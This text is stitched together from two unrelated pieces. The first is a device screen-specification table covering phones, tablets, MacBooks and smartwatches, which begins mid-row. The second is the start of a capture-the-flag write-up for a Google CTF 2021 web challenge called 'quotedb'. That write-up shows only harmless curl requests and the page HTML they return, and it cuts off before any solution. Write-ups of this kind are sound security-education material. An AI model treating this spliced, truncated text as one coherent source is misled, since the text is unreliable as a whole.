<sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 | | OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 | | OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 | | Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 | | Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 | | Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 | | Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 | | Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 | | Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 | | Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 | | Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 | | Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 | | Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 | | Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 | | Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 | | Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 | | Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 | | Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 | | Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 | | Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 | | Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 | | Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 | | Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 | | Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 | | Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 | | Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 | | Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 | | Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 | | Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 | | Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 | | Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 | | Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 | | Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 | | Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 | | Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 | | Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 | | Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 | | Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 | | Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 | | Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 | {.show-header} ### Tablets | DEVICES | SCREEN SIZE | RESOLUTION | VIEWPORT | DENSITY | DEVICE DENSITY | RATIO | OS | |-----------------------------|----------------------|---------------------------|---------------------------|--------------------|--------------------|----------------------|----------------| | Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 | | Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 | | Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 | | Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 | | Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 | | Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 | | Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 | | Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 | | Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 | | Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 | | Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 | | Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 | | Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 | | Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 | | Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 | | Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 | | Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 | | Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 | {.show-header} ### Laptops | DEVICES | SCREEN SIZE | RESOLUTION | VIEWPORT | DENSITY | DEVICE DENSITY | RATIO | OS | |----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------| | MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks | | MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks | | MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan | | MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra | | MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave | | MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave | | MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina | | MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave | | MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave | | MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina | | MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | | MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra | {.show-header} ### Smart Watch | DEVICES | SCREEN SIZE | RESOLUTION | VIEWPORT | DENSITY | DEVICE DENSITY | RATIO | OS | |-------------------------------------|----------------------|-------------------------|-------------------------|--------------------|--------------------|---------------------|----------------------------------| | Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 | | Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 | | Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 | | Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 | | Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 | | Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 | | Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 | | Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 | | Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 | | Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 | | Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | | | Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 | | Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 | | Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | | | Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | | | LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 | | LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 | | LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 | | LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 | | Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 | {.show-header}
sec-knowleage
# Unknown - Prison Cell Category: Web ## Description > You don’t manage to disarm the guard, he is quicker than you are. He knocks you out, and when you wake up you’re inside a prison cell, but it doesn’t seem like you’re on a boat anymore, you must be inside the headquarters on the secret island! The cell is claustrophobic, with rusty iron bars and a bed of concrete. > > Challenge: web-quotedb (web) > > In this challenge, you have to find the hidden flag. Good luck! ## Solution We get a simple website: ```console ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ curl https://quotedb-web.2021.ctfcompetition.com/ <html> <head> <title>Quote DB</title> <link rel="stylesheet" href="style.css"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> </head> <body> <h1>Welcome to the amazing Quote DB</h1> <div> <p>Here's the quote of the day for you: </p> <p class='quote'> "It doesn't help to fight crime to put people in prison who are innocent." - Stephen Breyer </p> <p> If you'd like to return to this quote, just <a href="?id=7">click here</a>. </p> </div> </body> </html> ``` As the website suggests, it's possible to access a specific quote directly: ```console ┌──(user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] └─$ curl https://quotedb-web.2021.ctfcompetition.com/?id=7 <html> <head> <title>Quote DB</title> <link rel="stylesheet" href="style.css"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> </head> <body> <h1>Welcome to the amazing Quote DB</h1> <div> <p>Here's the quote of the 